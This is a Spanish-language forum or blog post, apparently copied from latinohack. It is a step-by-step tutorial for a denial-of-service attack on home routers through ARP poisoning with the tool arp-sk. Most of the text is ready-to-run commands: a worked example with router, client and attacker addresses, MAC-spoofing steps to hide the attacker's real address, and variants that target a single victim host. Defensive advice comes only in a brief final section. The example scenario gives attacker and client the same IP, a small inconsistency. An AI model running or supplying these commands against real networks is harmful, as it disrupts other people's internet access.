En la actualidad, la mayoría de conexiones a Internet para al hogar y pequeña oficina que los distintos ISP ofrecen a sus clientes, se basan en aparatos que aunque denominados routers, son la suma de un enrutador, un switch (Conmutador) y un punto de acceso Wireless, todo en uno. Esto facilita que con un solo dispositivo se pueda ofrecer de forma simple y económica un acceso a Internet y red a más de un usuario por linea contratada. Los proveedor de servicios de Internet ofrecen este tipo de dispositivos con una configuración predeterminada insegura, esto se debe a que la mayoría de usuarios de Internet son inexpertos y los dispositivos no pueden implementar medidas que dificulten al cliente la configuración y acceso a la red, motivo por el cual la mayoría de redes y conexiones a Internet que encontramos en hogares y pequeñas oficinas son consideradas como poco seguras.
Lo que venimos a demostrar en este post es lo simple que resulta producir una denegación de servicio en este tipo de dispositivos de red utilizando únicamente la capa de enlace. No explicaremos el protocolo ARP en detalle, se da por supuesto que el lector tiene un conocimiento básico sobre este protocolo y su funcionamiento. Para generar un DoS que impida a los clientes de una determinada red acceder al router, usaremos algo tan viejo y conocido como es el
envenenamiento ARP, nosotros proponemos la siguiente estrategia, pero no es la única que podemos utilizar, hay otras formas de realizar denegaciones de servicio utilizando en la capa de enlace.
- Inundar la red con respuestas falsas que contesten a solicitudes ARP que pregunten por la MAC del gateway.
- Envenenar la tabla ARP del router para que asocie la MAC del gateway a la boca del router donde estemos conectados.
La capa de enlace obliga a que cualquier cliente que quisiera salir a Internet debe tener guardada la dirección física del router en su tabla ARP, para obtener esa dirección se inunda la red enviando paquetes "
ARP request" a la dirección de
broadcast (
FF:FF:FF:FF:FF:FF) preguntando por la MAC del enrutador. Por lo tanto, si inundamos de respuestas falsas la red, indicando que la dirección física vinculada a la ip del router 192.168.1.1 es "
AA:BB:CC:AA:BB:CC", el cliente que quiera salir a Internet recibirá antes la respuesta falsa que la correcta devuelta por el enrutador, quedando su tabla ARP envenenada y en consecuencia sin acceso a Internet.
La propiedad de conmutador de los routers actuales les obliga a guardar una tabla con las direcciones MAC que tiene cada equipo y a que boca está conectado. Para fortalecer un poco más el ataque y hacerlo más eficiente, recomendamos realizar un envenenamiento ARP simultaneo que indique que la MAC real del router está vinculada a la boca desde la que se está lanzando el ataque. De esta forma envenenamos la tabla ARP del enrutador y si algún cliente consiguiera obtener la dirección MAC real del router, tampoco sería capaz de salir a Internet.
Hay muchos tipos de routers en el mercado y no todos reaccionan de la misma manera antes las denegaciones de servicio, pero la inmensa mayoría de dispositivos no profesionales ceden ante este tipo de ataques en la capa de enlace, tanto si se realiza desde una conexión cableada como desde una inalámbrica, algunos dispositivos incluso se cuelgan al recibir este tipo de denegación de servicio. La herramienta que nos permite realizar este ataque de una forma simple y con un solo comando es
Arp-sk, considerada la "navaja suiza" del protocolo ARP.
Sintaxis utilizada para este ataque DoS:
# arp-sk -T u0 -r -i TARJETA -S IP_ROUTER:MAC_INVENTADA -s MAC_DEL ROUTER
Escenario de ejemplo:
- Router: 192.168.1.1 / 00:01:38:68:D4:D8
- Cliente: 192.168.1.33 / 00:0E:2E:C5:7B:70
- Atacante: 192.168.1.33 / 00:18:39:BB:F0:3A
Comando del atacante en relación al escenario planteado:
# arp-sk -T u1 -r -i eth0 -S 192.168.1.1:AA:BB:CC:AA:BB:CC -s 00:01:38:68:D4:D8
Opciones de Arp-sk en uso:
-T u1 -> Envía paquetes dejando un periodo de tiempo de 1 microsegundo entre paquete y paquete.
-r -> Manda respuestas ARP (ARP Reply) que configuramos con la opción -S.
-i eth0 -> Permite especificar la interfaz con la que trabajaremos, puede realizarse con tarjetas wifi.
-S 192.168.1.1:AA:BB:CC:AA:BB:CC -> Dirección IP y MAC falseada de nuestras respuestas (ARP Reply).
-s 00:01:38:68:D4:D8 -> Dirección MAC origen, nos ayuda a que se asocie la MAC del router a la boca donde tenemos conectado nuestro cable.
La opción "-s" obliga a que todos los paquetes salientes de "Arp-sk" utilicen como origen la MAC indicada, pero si el atacante visita una determinada web o alguna aplicación conecta a Internet durante la prueba de concepto, la tarjeta usará la dirección física real, por lo que en algunas ocasiones puede ser recomendable cambiar temporalmente la MAC de nuestra interfaz a nivel global, para ello podemos usar la herramienta "ifconfig".
Cambiar la dirección física de nuestra tarjeta de red.
# ifconfig eth0 down
# ifconfig eth0 hw ether 00:01:38:68:D4:D8
# ifconfig eth0 up
Orientando la denegación de servicio hacia un host específico
Con este comando inundamos la red de respuestas ARP que vinculan la la IP de la victima con una dirección física falsa, a la vez que engañamos a la tabla ARP del router para que vincule la dirección MAC de la victima a nuestra boca del router.
# arp-sk -T u0 -r -i TARJETA -S IP_VICTIMA:MAC_INVENTADA -s MAC_VICTIMA
Otra opción que produce menos tráfico sería la siguiente, con este comando enviamos respuestas ARP que envenenan la tabla de la victima vinculando la IP del router a una dirección MAC inexistente. La opción "-d" nos permite especificar el destino de nuestro ataque y de esta forma evitar el broadcast.
# arp-sk -T u0 -r -i TARJETA -S IP_ROUTER:MAC_INVENTADA -d MAC_VICTIMA
Consultar y borrar la tabla ARP desde GNU/Linux
Consultar entradas ARP de la tabla
# arp -a
Borrar entrada de la tabla ARP
# arp -d 192.168.1.1
¿Cómo evitar / detectar este tipo de ataques ARP DoS?
Fabricantes:
- Implementación de sistemas como DHCP snooping.
- Facilitar mecanismos de seguridad que solo permitan utilizar la primera MAC conectada al router/switch.
- Comprobar que la MAC origen y la anunciada en un paquete ARP Reply son las mismas.
- Impedir que la funcionalidad de switch permita falsear la MAC de la puerta de enlace.
Usuario:
- Usar Tablas ARP estáticas.
- Uso de aplicaciones tipo Arpwatch y Arpalert.
- Comprobar indicios de ARP Spoofing mediante RARP (ARP inverso), si ante una consulta, RARP devuelve más de una dirección IP, significa que esa dirección MAC ha sido clonada.
Conceptos:
ARP Who-has = ARP Request.
Router = Gateway = Puerta de enlace predeterminada = Enrutador.
Switch = Conmutador.
Dirección física = Dirección MAC = Dirección de capa 2.
Fuente: http://foro.latinohack.com/
[+] ZioneR
[+] Salu2